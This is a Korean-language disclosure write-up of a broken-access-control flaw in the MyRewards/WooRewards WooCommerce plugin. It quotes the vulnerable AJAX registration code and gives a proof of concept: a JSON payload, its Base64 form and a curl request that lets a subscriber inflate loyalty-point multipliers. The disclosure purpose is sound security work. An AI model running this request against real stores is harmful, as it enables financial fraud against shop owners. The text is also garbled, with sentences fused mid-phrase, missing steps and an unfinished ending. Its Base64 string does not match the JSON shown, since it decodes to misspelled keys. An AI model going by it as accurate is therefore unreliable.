
MyRewards – Loyalty Points and Rewards for WooCommerce 플러그인의 누락된 권한 부여 / 깨진 접근 제어
고지 사항: 이 저장소는 교육 목적 및 윤리적 공개(ethical disclosure)를 위해서만 생성되었습니다. 해당 취약점은 공급업체에 책임 있게 보고되었으며 패치가 적용되었습니다. 적절한 권한 없이 이 정보를 사용하여 시스템을 악용하지 마십시오.
WooCommerce용 MyRewards (WooRewards) 플러그인(버전 <= 5.6.0)에서 치명적인 취약한 접근 제어 / 권한 상승(Broken Access Control / Privilege Escalation) 취약점이 발견되었습니다. 이 결함으로 인해 구독자(Subscriber) 같은 최소 권한만 가진 로그인 사용자도 인증을 우회하고 민감한 쇼핑몰 보상 규칙을 수정할 수 있습니다.
이 취약점을 악용하면 공격자는 로열티 포인트 배율을 천문학적인 값(예: 999,999,999,999,999)으로 부풀려 단 한 번의 소액 구매로도 엄청난 포인트를 적립하고, 이를 쿠폰 또는 무료 제품으로 교환하여 스토어에 직접적인 금전적 손실을 입힐 수 있습니다.
<= 5.6.0이 취약점의 근본 원인은 데이터베이스 수정을 처리하는 중요한 AJAX 엔드포인트에 기능 권한 검사(Capability Check) 또는 CSRF 보호가 구현되지 않은 데 있습니다.
1. 승인되지 않은 AJAX 등록:
이 플러그인은 CRUD 작업을 관리하기 위해 범용 컨트롤러 클래스(EditlistControler)를 사용합니다. editlistcontroler.php에서 gwp_ajax_ 훅을 사용하여 AJAX 액션 editlist를 등록하므로, 역할에 관계없이 모든 로그인 사용자가 사용할 수 있습니다:
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));
2. 권한 검사 및 Nonce 검증 부재:
ajax() 및 accept() 메서드 내부의 코드는 사용자 입력만을 기반으로 상태 변경 요청(예: 업데이트를 위한 put, 삭제를 위한 del)을 처리합니다. current_user_can() 및 check_ajax_referer() 호출이 완전히 누락되어 있어 사용자에게 manage_woocommerce 권한이 있는지 확인하지 않습니다.
3. 위험한 페이로드 처리:
엔드포인트는 line 매개변수를 통해 Base64로 인코딩된 JSON 문자열을 수락하며, 이는 디코딩되어 EventList::write() 메서드로 직접 전달되어 악의적인 설정을 데이터베이스에 바로 저장합니다:
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);
다음 단계는 인증된 구독자가 이 결함을 악용하는 방법을 보여줍니다.
subscriber 수준 계정의 유효한 자격 증명.101)는 순차적이며 AJAX POST 응답을 관찰하여 쉽게 열거할 수 있습니다.규칙 ID 101의 포인트 배율을 999,999,999,999,999로 업데이트하려고 합니다.
초기 JSON
{
"post_id":"101",
"wre_type":"lws_woorewards_events_orderamount",
"lws_woorewards_events_orderamount_multiplier": "999999999999999"
}
Base64 인코딩된 값 ('line'의 값)
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0
낮은 권한의 사용자로 다음 CURL 요청을 실행합니다:
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-b '[Subscriber_Cookies_Here]' \
-d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'
{"status":1}을 반환합니다.이 문제를 해결하려면 MyRewards 플러그인을 최신 패치 버전으로 업데이트하세요. 공급업체는 다음 방법으로 문제를 해결했습니다:
current_user_can() 검사를 구현하여 관리 권한을 확인합니다.check_ajax_referer()를 추가하여 교차 사이트 요청 위조(CSRF)를 방지합니다.윤리적 기준을 준수했음을 보여주는 공개 프로세스의 간단한 기록입니다: